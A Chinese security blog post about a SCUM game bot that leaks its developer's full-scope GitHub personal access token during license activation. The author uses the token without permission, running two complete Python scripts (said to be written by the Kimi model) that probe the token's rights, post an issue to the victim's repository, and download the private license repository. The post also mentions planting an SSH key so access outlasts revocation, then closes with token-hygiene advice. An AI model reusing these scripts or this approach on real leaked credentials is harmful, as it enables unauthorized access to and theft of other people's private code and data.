从SCUM机器人看Github个人访问令牌安全

从SCUM机器人看Github个人访问令牌安全

AabyssZG
2026-05-31 / 0 评论 / 47 阅读 / 正在检测是否收录...

本文首发于国家网络空间安全云社区,作者AabyssZG

0# 我的SCUM人渣服务器

title.png

最近和朋友一起玩人渣,自己搭建了一个SCUM服务器私人服务器,这游戏可好玩了,感兴趣的师傅可以找我一起玩哈哈!

SCUM-3.png

实机截图如下:

SCUM-1.png

SCUM-2.jpg

玩着玩着,就想着拓展一下玩法,就找到了一款机器人软件

SCUM-4.png

看着这个图标,典型使用Python进行编译的,就想着逆向一下试着破解练练手,结果没想到都不需要破解,一个小时就拿下了!

1# 对软件开展抓包

SCUM-5.png

正常一些客户端验证License授权,都会使用验证服务器,就是对服务器发包,验证当前的授权密钥是否为正确且未激活的

SCUM-6.png

如果是正确且未激活的,会上传本机的机器码,并返回验证成功的结果,随后启动客户端的时候会验证机器码是否一致来判断该License授权是否合法

那我开始尝试对这个机器人客户端开始抓包,先配置一下熟悉的Proxifier,并开启Yakit的监听:

SCUM-7.png

然后我随便在授权密匙输入1111,点击“立即激活”,Yakit成功抓到数据包:

SCUM-8.png

我勒个乖,看看抓到了什么?我抓到了开发者的Github个人访问令牌!!!关于这个可以看Github的官方说明: 管理个人访问令牌 - Github文档

而且通过返回包来看,这个令牌拥有最高权限!

X-OAuth-Scopes: admin:public_key, repo

我访问了一下这个项目,是作者的私密项目,相当于作者自己搞了个人访问令牌进自己的私密项目查License授权是否合法:

SCUM-10.png

2# 权限验证

既然拿到Github个人访问令牌,如何验证权限大小,我直接让Kimi大模型给我生成一个脚本:

SCUM-13.png

具体代码如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GitHub Token 权限检测工具
检测 Token 的权限范围、可访问仓库、能否修改等
"""

import sys
import json
import requests

class GitHubTokenScanner:
    def __init__(self, token, proxies=None):
        self.token = token
        self.proxies = proxies or {}
        self.headers = {
            "Authorization": f"Bearer {token}",
            "Accept": "application/vnd.github.v3+json",
            "User-Agent": "Token-Scanner"
        }
        self.base_url = "https://api.github.com"
        self.results = {
            "token_type": None,
            "scopes": [],
            "user": None,
            "can_read_repos": [],
            "can_write_repos": [],
            "can_admin": False,
            "can_delete_repo": False,
            "can_invite_collaborators": False,
            "enterprise": False,
            "rate_limit": {}
        }
    
    def _get(self, endpoint):
        """发送 GET 请求"""
        url = f"{self.base_url}{endpoint}"
        try:
            resp = requests.get(url, headers=self.headers, proxies=self.proxies, timeout=30)
            return resp
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            return None
    
    def detect_token_type(self):
        """检测 Token 类型和基础权限"""
        print("[*] 检测 Token 类型和基础权限...")
        
        resp = self._get("/user")
        if not resp:
            print("[-] 无法连接 GitHub API")
            return False
        
        # 从响应头获取 OAuth Scopes
        scopes_header = resp.headers.get('X-OAuth-Scopes', '')
        self.results['scopes'] = [s.strip() for s in scopes_header.split(',') if s.strip()]
        
        print(f"    [+] HTTP 状态: {resp.status_code}")
        print(f"    [+] OAuth Scopes: {self.results['scopes'] or '无(仅 public 访问)'}")
        
        if resp.status_code == 200:
            data = resp.json()
            self.results['user'] = {
                'login': data.get('login'),
                'type': data.get('type'),
                'name': data.get('name'),
                'email': data.get('email'),
                'id': data.get('id')
            }
            print(f"    [+] 用户: {data.get('login')} ({data.get('type')})")
            
            # 判断 Token 类型
            if 'ghp_' in self.token:
                self.results['token_type'] = "Personal Access Token (Classic)"
            elif 'github_pat_' in self.token:
                self.results['token_type'] = "Fine-grained Personal Access Token"
            elif 'gho_' in self.token:
                self.results['token_type'] = "OAuth Token"
            elif 'ghu_' in self.token:
                self.results['token_type'] = "GitHub App User Token"
            else:
                self.results['token_type'] = "Unknown"
            print(f"    [+] Token 类型: {self.results['token_type']}")
            
        elif resp.status_code == 401:
            print("[-] Token 无效或已过期")
            return False
        elif resp.status_code == 403:
            print("[-] Token 被限制或速率限制")
            return False
        
        return True
    
    def check_repo_permissions(self):
        """检测仓库读写权限"""
        print("\n[*] 检测仓库访问权限...")
        
        # 获取可访问的仓库列表
        resp = self._get("/user/repos?per_page=100&sort=updated")
        if not resp or resp.status_code != 200:
            print("[-] 无法获取仓库列表")
            return
        
        repos = resp.json()
        print(f"    [+] 可访问仓库数: {len(repos)}")
        
        for repo in repos[:10]:  # 只显示前10个
            name = repo['full_name']
            permissions = repo.get('permissions', {})
            
            perm_str = []
            if permissions.get('admin'): perm_str.append('admin')
            if permissions.get('push'): perm_str.append('write')
            if permissions.get('pull'): perm_str.append('read')
            
            print(f"    [+] {name}: {', '.join(perm_str)}")
            
            if permissions.get('push') or permissions.get('admin'):
                self.results['can_write_repos'].append(name)
            elif permissions.get('pull'):
                self.results['can_read_repos'].append(name)
        
        if len(repos) > 10:
            print(f"    ... 还有 {len(repos) - 10} 个仓库未显示")
    
    def check_write_permission(self):
        """测试是否有写入权限(创建/修改)"""
        print("\n[*] 测试写入权限...")
        
        # 检查是否有 repo scope
        if 'repo' not in self.results['scopes'] and 'public_repo' not in self.results['scopes']:
            print("    [-] Token 没有 repo 或 public_repo scope,无法修改仓库")
            return
        
        # 尝试获取一个可写仓库来测试
        if not self.results['can_write_repos']:
            print("    [-] 没有找到可写仓库")
            return
        
        test_repo = self.results['can_write_repos'][0]
        print(f"    [*] 测试仓库: {test_repo}")
        
        # 测试 1: 获取仓库信息(读权限)
        resp = self._get(f"/repos/{test_repo}")
        if resp and resp.status_code == 200:
            print(f"    [+] 读取仓库: OK")
        else:
            print(f"    [-] 读取仓库: FAILED")
        
        # 测试 2: 尝试创建 issue(写权限,不破坏数据)
        url = f"{self.base_url}/repos/{test_repo}/issues"
        try:
            test_resp = requests.post(
                url, 
                headers=self.headers, 
                proxies=self.proxies,
                json={"title": "权限测试", "body": "这是一个权限测试,请忽略并关闭"},
                timeout=30
            )
            if test_resp.status_code == 201:
                print(f"    [+] 创建 Issue: OK(有写入权限)")
                # 清理:关闭刚创建的 issue
                issue_num = test_resp.json().get('number')
                requests.patch(
                    f"{url}/{issue_num}",
                    headers=self.headers,
                    proxies=self.proxies,
                    json={"state": "closed"},
                    timeout=30
                )
            elif test_resp.status_code == 403:
                print(f"    [-] 创建 Issue: 权限不足")
            else:
                print(f"    [-] 创建 Issue: HTTP {test_resp.status_code}")
        except Exception as e:
            print(f"    [-] 写入测试失败: {e}")
    
    def check_admin_permissions(self):
        """检测管理员权限"""
        print("\n[*] 检测管理员权限...")
        
        # 检查是否有 delete_repo scope
        if 'delete_repo' in self.results['scopes']:
            self.results['can_delete_repo'] = True
            print("    [!] 有删除仓库权限 (delete_repo)")
        else:
            print("    [+] 无删除仓库权限")
        
        # 检查是否有邀请协作者权限
        if 'repo' in self.results['scopes']:
            print("    [!] 有完整仓库权限(可修改代码、设置、协作者)")
            self.results['can_invite_collaborators'] = True
    
    def check_rate_limit(self):
        """检查速率限制"""
        print("\n[*] 检查速率限制...")
        
        resp = self._get("/rate_limit")
        if resp and resp.status_code == 200:
            data = resp.json()
            core = data['resources']['core']
            print(f"    [+] 核心限制: {core['limit']}/小时")
            print(f"    [+] 已使用: {core['used']}")
            print(f"    [+] 剩余: {core['remaining']}")
            print(f"    [+] 重置时间: {core['reset']}")
            self.results['rate_limit'] = core
    
    def check_enterprise(self):
        """检查是否是企业版"""
        print("\n[*] 检查企业版权限...")
        
        resp = self._get("/user/orgs")
        if resp and resp.status_code == 200:
            orgs = resp.json()
            print(f"    [+] 所属组织数: {len(orgs)}")
            for org in orgs[:5]:
                print(f"    [+] 组织: {org.get('login')}")
    
    def run_full_scan(self):
        """运行完整扫描"""
        print("=" * 60)
        print("GitHub Token 权限扫描器")
        print("=" * 60)
        print(f"[*] 扫描 Token: {self.token[:10]}...{self.token[-4:]}")
        print()
        
        if not self.detect_token_type():
            return
        
        self.check_repo_permissions()
        self.check_write_permission()
        self.check_admin_permissions()
        self.check_rate_limit()
        self.check_enterprise()
        
        # 输出总结
        print("\n" + "=" * 60)
        print("扫描总结")
        print("=" * 60)
        print(f"Token 类型: {self.results['token_type']}")
        print(f"所属用户: {self.results['user']['login'] if self.results['user'] else 'Unknown'}")
        print(f"权限范围: {', '.join(self.results['scopes']) or 'None'}")
        print(f"可写仓库数: {len(self.results['can_write_repos'])}")
        print(f"只读仓库数: {len(self.results['can_read_repos'])}")
        print(f"可删除仓库: {'是' if self.results['can_delete_repo'] else '否'}")
        print(f"可邀请协作者: {'是' if self.results['can_invite_collaborators'] else '否'}")
        print("=" * 60)
        
        # 风险提示
        high_risk = []
        if 'repo' in self.results['scopes']:
            high_risk.append("可读写所有仓库(包括私有)")
        if 'delete_repo' in self.results['scopes']:
            high_risk.append("可删除仓库")
        if 'admin:org' in self.results['scopes']:
            high_risk.append("可管理组织")
        
        if high_risk:
            print("\n[!] 高风险权限:")
            for risk in high_risk:
                print(f"    - {risk}")
            print("\n[!] 建议:如果此 Token 泄露,请立即撤销!")


def main():
    if len(sys.argv) < 2:
        print("用法: python github_token_scanner.py <token> [proxy_url]")
        print("示例: python github_token_scanner.py ghp_xxxxxxxxx")
        print("       python github_token_scanner.py ghp_xxxxxxxxx http://127.0.0.1:7890")
        sys.exit(1)
    
    token = sys.argv[1]
    proxies = {}
    
    if len(sys.argv) >= 3:
        proxy = sys.argv[2]
        proxies = {
            'http': proxy,
            'https': proxy
        }
        print(f"[*] 使用代理: {proxy}")
    
    scanner = GitHubTokenScanner(token, proxies)
    scanner.run_full_scan()


if __name__ == "__main__":
    main()

OK,很有精神!

python github_token_scanner.py ghp_L************* http://127.0.0.1:7897

我直接一把嗦,搞定3个仓库的权限!

SCUM-14.png

3# License授权机制研究

那我就毫不留情的开始研究这个令牌和数据包,这个机器人客户端总共发送了两个数据包,分别对 api.github.com 请求了这两个API接口:

/repos/作者ID/****bot
/repos/作者ID/****bot/git/trees/main?recursive=1

这两个接口分别有以下作用:

  • 通过 GitHub API 请求 GET /repos/{owner}/{repo} 这个接口,可以获取该仓库的基础元信息(如名称、描述、权限、统计数、克隆地址等),相当于仓库的"身份证";
  • 通过 GitHub API 请求 GET /repos/{owner}/{repo}/trees/main?recursive=1 这个接口,可以获取仓库 main 分支的完整文件目录树(含所有子目录和文件路径)。

我还用Kimi大模型问了一嘴,发现还有接口能够实现对项目文件的下载:

SCUM-9.png

那我调用接口试一下下载这个私密项目的README,给我看看!

SCUM-11.png

芜湖,处理一下Base64解码就可以看到源文件内容:

SCUM-12.png

OK理论存在,开始操作,马上让Kimi给我生成脚本,通过Github个人访问令牌下载指定仓库的所有内容:

SCUM-15.png

Python代码如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GitHub 仓库完整下载工具
用法: python github_repo_downloader.py <owner/repo> <token> [proxy]
示例: python github_repo_downloader.py <owner/repo> ghp_xxxxxxxxx
     python github_repo_downloader.py <owner/repo> ghp_xxxxxxxxx http://127.0.0.1:7890
"""

import sys
import os
import json
import base64
import time

# 尝试导入 requests,如果没有则提示安装
try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    print("[-] 错误: 需要安装 requests 库")
    print("    运行: pip install requests")
    sys.exit(1)


class GitHubRepoDownloader:
    def __init__(self, repo_full_name, token, proxy_url=None):
        """
        repo_full_name: "owner/repo" 格式
        token: GitHub Personal Access Token
        proxy_url: 可选代理,如 "http://127.0.0.1:7890"
        """
        self.repo = repo_full_name
        self.token = token
        self.base_url = "https://api.github.com"
        self.headers = {
            "Authorization": f"Bearer {token}",
            "Accept": "application/vnd.github.v3+json",
            "User-Agent": "GitHub-Repo-Downloader"
        }

        # 代理配置
        self.proxies = {}
        if proxy_url:
            self.proxies = {'http': proxy_url, 'https': proxy_url}
        # 也检查环境变量
        elif os.environ.get('HTTP_PROXY') or os.environ.get('HTTPS_PROXY'):
            self.proxies = {
                'http': os.environ.get('HTTP_PROXY', os.environ.get('http_proxy', '')),
                'https': os.environ.get('HTTPS_PROXY', os.environ.get('https_proxy', ''))
            }

        # 统计
        self.stats = {
            'dirs_created': 0,
            'files_downloaded': 0,
            'files_skipped': 0,
            'total_bytes': 0,
            'errors': []
        }

    def _request(self, method, endpoint, **kwargs):
        """发送请求并处理错误"""
        url = f"{self.base_url}{endpoint}"
        try:
            resp = requests.request(
                method, url,
                headers=self.headers,
                proxies=self.proxies,
                timeout=30,
                **kwargs
            )

            # 处理速率限制
            if resp.status_code == 403 and 'X-RateLimit-Remaining' in resp.headers:
                remaining = int(resp.headers.get('X-RateLimit-Remaining', 0))
                if remaining == 0:
                    reset_time = int(resp.headers.get('X-RateLimit-Reset', 0))
                    wait = max(reset_time - int(time.time()), 0) + 1
                    print(f"    [!] 速率限制,等待 {wait} 秒...")
                    time.sleep(wait)
                    return self._request(method, endpoint, **kwargs)

            return resp

        except requests.exceptions.ProxyError as e:
            self.stats['errors'].append(f"代理错误: {e}")
            return None
        except requests.exceptions.ConnectionError:
            self.stats['errors'].append("无法连接 GitHub,请检查网络或代理")
            return None
        except Exception as e:
            self.stats['errors'].append(f"请求异常: {e}")
            return None

    def get_default_branch(self):
        """获取仓库默认分支"""
        print(f"[*] 获取仓库信息: {self.repo}")
        resp = self._request("GET", f"/repos/{self.repo}")

        if not resp or resp.status_code != 200:
            if resp and resp.status_code == 404:
                print(f"[-] 仓库不存在或无权访问: {self.repo}")
            elif resp and resp.status_code == 401:
                print(f"[-] Token 无效或权限不足")
            else:
                print(f"[-] 获取仓库信息失败: HTTP {resp.status_code if resp else 'N/A'}")
            return None

        data = resp.json()
        branch = data.get('default_branch', 'main')
        is_private = data.get('private', False)

        print(f"    [+] 仓库: {data.get('full_name')}")
        print(f"    [+] 描述: {data.get('description') or '无'}")
        print(f"    [+] 私有: {'是' if is_private else '否'}")
        print(f"    [+] 默认分支: {branch}")
        print(f"    [+] Stars: {data.get('stargazers_count', 0)}")

        return branch

    def get_tree(self, sha, recursive=True):
        """获取目录树"""
        endpoint = f"/repos/{self.repo}/git/trees/{sha}"
        if recursive:
            endpoint += "?recursive=1"

        resp = self._request("GET", endpoint)
        if not resp or resp.status_code != 200:
            return None

        return resp.json()

    def download_blob(self, url, local_path, size=0):
        """下载单个文件"""
        resp = self._request("GET", url.replace(self.base_url, ""))

        if not resp or resp.status_code != 200:
            return False

        data = resp.json()

        if data.get('encoding') == 'base64':
            content = base64.b64decode(data['content'])
        else:
            content = data.get('content', b'')
            if isinstance(content, str):
                content = content.encode('utf-8')

        # 写入文件
        with open(local_path, 'wb') as f:
            f.write(content)

        self.stats['files_downloaded'] += 1
        self.stats['total_bytes'] += len(content)

        size_str = f"({len(content)} bytes)" if size == 0 else f"({size} bytes)"
        print(f"    [+] {os.path.basename(local_path)} {size_str}")

        return True

    def download_raw(self, path, local_path):
        """通过 raw 链接下载(备用方案)"""
        url = f"https://raw.githubusercontent.com/{self.repo}/{self.branch}/{path}"

        try:
            resp = requests.get(
                url,
                headers={"Authorization": f"Bearer {self.token}"},
                proxies=self.proxies,
                timeout=30
            )
            if resp.status_code == 200:
                with open(local_path, 'wb') as f:
                    f.write(resp.content)

                self.stats['files_downloaded'] += 1
                self.stats['total_bytes'] += len(resp.content)
                print(f"    [+] {os.path.basename(local_path)} ({len(resp.content)} bytes) [raw]")
                return True
        except Exception as e:
            pass

        return False

    def process_tree_item(self, item, base_path):
        """处理单个 tree 项"""
        path = item['path']
        item_type = item['type']
        full_local_path = os.path.join(base_path, path)

        if item_type == 'tree':
            # 创建目录
            os.makedirs(full_local_path, exist_ok=True)
            self.stats['dirs_created'] += 1
            print(f"[+] 目录: {path}/")

        elif item_type == 'blob':
            # 确保父目录存在
            parent = os.path.dirname(full_local_path)
            if parent:
                os.makedirs(parent, exist_ok=True)

            # 跳过已存在的文件(可选:检查大小)
            if os.path.exists(full_local_path):
                local_size = os.path.getsize(full_local_path)
                if local_size == item.get('size', 0):
                    print(f"    [=] {os.path.basename(path)} (已存在,跳过)")
                    self.stats['files_skipped'] += 1
                    return

            print(f"[*] 下载: {path}")

            # 方式一:通过 blob API
            success = self.download_blob(item['url'], full_local_path, item.get('size', 0))

            # 方式二:如果 blob 失败,尝试 raw
            if not success:
                print(f"    [*] 尝试 raw 链接...")
                success = self.download_raw(path, full_local_path)

            if not success:
                self.stats['files_skipped'] += 1
                self.stats['errors'].append(f"下载失败: {path}")
                print(f"    [-] 失败: {path}")

    def download_repo(self, output_dir=None):
        """下载完整仓库"""
        # 1. 获取默认分支
        self.branch = self.get_default_branch()
        if not self.branch:
            return False

        # 2. 设置输出目录
        if not output_dir:
            output_dir = self.repo.replace('/', '_')

        base_path = os.path.join(os.getcwd(), output_dir)
        os.makedirs(base_path, exist_ok=True)

        print(f"[*] 输出目录: {base_path}")
        print(f"[*] 开始下载...")
        print("-" * 50)

        # 3. 获取最新 commit 的 tree sha
        resp = self._request("GET", f"/repos/{self.repo}/git/refs/heads/{self.branch}")
        if not resp or resp.status_code != 200:
            print(f"[-] 获取分支信息失败")
            return False

        commit_sha = resp.json().get('object', {}).get('sha')
        if not commit_sha:
            print(f"[-] 无法获取 commit SHA")
            return False

        # 4. 获取完整 tree(递归)
        print(f"[*] 获取文件列表...")
        tree_data = self.get_tree(commit_sha, recursive=True)

        if not tree_data:
            print(f"[-] 获取目录树失败")
            return False

        items = tree_data.get('tree', [])
        truncated = tree_data.get('truncated', False)

        print(f"[*] 发现 {len(items)} 个对象" + (" (已截断)" if truncated else ""))
        print()

        # 5. 逐个处理
        for i, item in enumerate(items, 1):
            self.process_tree_item(item, base_path)

            # 每 10 个文件显示进度
            if i % 10 == 0:
                print(f"    进度: {i}/{len(items)} ({i*100//len(items)}%)")

        # 6. 输出统计
        print("-" * 50)
        print(f"[+] 下载完成!")
        print(f"    目录创建: {self.stats['dirs_created']}")
        print(f"    文件下载: {self.stats['files_downloaded']}")
        print(f"    文件跳过: {self.stats['files_skipped']}")
        print(f"    总大小: {self.stats['total_bytes']:,} bytes ({self.stats['total_bytes']/1024/1024:.2f} MB)")

        if self.stats['errors']:
            print(f"    错误数: {len(self.stats['errors'])}")
            for err in self.stats['errors'][:5]:
                print(f"        - {err}")

        print(f"[+] 文件保存在: {base_path}")
        return True


def main():
    if len(sys.argv) < 3:
        print("GitHub 仓库完整下载工具")
        print("=" * 50)
        print("用法:")
        print("    python github_repo_downloader.py <owner/repo> <token> [proxy]")
        print()
        print("参数:")
        print("    owner/repo  仓库全名")
        print("    token       GitHub Personal Access Token")
        print("    proxy       可选代理地址,如 http://127.0.0.1:7890")
        print()
        print("示例:")
        print("    python github_repo_downloader.py <owner/repo> ghp_xxxxxx")
        print("    python github_repo_downloader.py torvalds/linux ghp_xxxxxx http://127.0.0.1:7890")
        print()
        print("环境变量代理:")
        print("    set HTTP_PROXY=http://127.0.0.1:7890")
        print("    set HTTPS_PROXY=http://127.0.0.1:7890")
        sys.exit(1)

    repo = sys.argv[1]
    token = sys.argv[2]
    proxy = sys.argv[3] if len(sys.argv) >= 4 else None

    # 验证 repo 格式
    if '/' not in repo or repo.count('/') != 1:
        print("[-] 仓库名格式错误,应为 'owner/repo'")
        sys.exit(1)

    print("=" * 50)
    print("GitHub 仓库下载工具")
    print("=" * 50)
    print(f"[*] 目标仓库: {repo}")

    if proxy:
        print(f"[*] 使用代理: {proxy}")
    elif os.environ.get('HTTP_PROXY') or os.environ.get('HTTPS_PROXY'):
        print(f"[*] 使用环境代理")

    print()

    downloader = GitHubRepoDownloader(repo, token, proxy)
    success = downloader.download_repo()

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

执行完,成功下载这个私有License仓库的所有文件:

SCUM-16.png

看完仓库内容,发现这个机器人客户端的License授权原理如下:

  • 输入授权密匙后,通过调用Token去查询私有License仓库里的 unsed 未激活文件夹存有对应 授权密匙.json 文件,且检测到 activated 已激活文件夹内没有对应 授权密匙.json 文件,就上传机器码,调用Token将激活日期和机器码写入 activated 已激活文件夹的 授权密匙.json 文件,并删除 unsed 未激活文件夹内的json文件;
  • 如果检测到 activated 已激活文件夹内存有对应 授权密匙.json 文件,并且机器码不一致,就回显“该卡密已被其他机器激活”,激活失败;
  • 如果检测到 activated 已激活文件夹内存有对应 授权密匙.json 文件,并且机器码一致,就回显“授权密匙激活成功,已绑定到当前机器”,激活成功。

SCUM-17.png

SCUM-18.png

4# 拓展与漏洞修复

我后续又问了Kimi大模型,问这个Token除了读写仓库代码,还能做很多事:

SCUM-19.png

能够添加自己的 SSH 公钥到目标账号 → 即使 Token 撤销,SSH 还能访问

对于这个License验证流程,我找Kimi交流了几分钟,生成了一个更安全的方案,当然不一定成熟,欢迎师傅们一起交流讨论:

SCUM-21.png

文字版流程如下:

License 激活系统
├── 公开库 licenses(只读)
│   ├── unused.json → MD5列表(未激活)
│   ├── activated.json → MD5+machine_id+expires
│   └── issued/{machine_id}.json → 个人许可证
│
├── 私有库 keys-db(管理读写)
│   └── pool.json → 明文卡密池
│
├── GitHub Actions(激活服务)
│   └── 查 activated → 查 pool → 标记 → 生成许可证
│
├── 客户端软件
│   └── 输入卡密 → 算MD5 → 查unused → 触发Actions → 下载许可证 → 本地验证
│
└── 管理端
    └── 生成卡密 → 计算MD5 → 写入pool.json → 同步到unused.json

5# 总结

本次能从SCUM机器人看Github个人访问令牌安全,这属实没想到,只不过SCUM这游戏真好玩嘿嘿嘿~

SCUM-22.png

关于 GitHub Token 的安全使用建议:

  • 最小权限原则:创建 Token 时只授予完成任务所需的最小权限,避免使用全权限的 repo 或 workflow 范围,优先使用 Fine-grained personal access tokens(精细令牌),可以精确到特定仓库和具体操作;
  • 设置有效期与定期轮换:为 Token 设置明确的过期时间,不要创建永久有效的 Token。建立定期轮换机制,到期后立即撤销旧 Token 并生成新 Token;
  • 安全存储与传输:切勿将 Token 硬编码在代码中或提交到仓库,避免在客户端脚本或日志中明文输出,使用环境变量、密钥管理器或本地凭证助手存储,传输时确保使用 HTTPS;
  • 监控与审计:定期在 GitHub 账户审查已授权的 Token 列表,及时撤销不再使用或可疑的 Token。启用 GitHub 的密钥扫描功能,防止意外泄露。

SCUM-23.png

冲冲冲!

2

评论 (0)

取消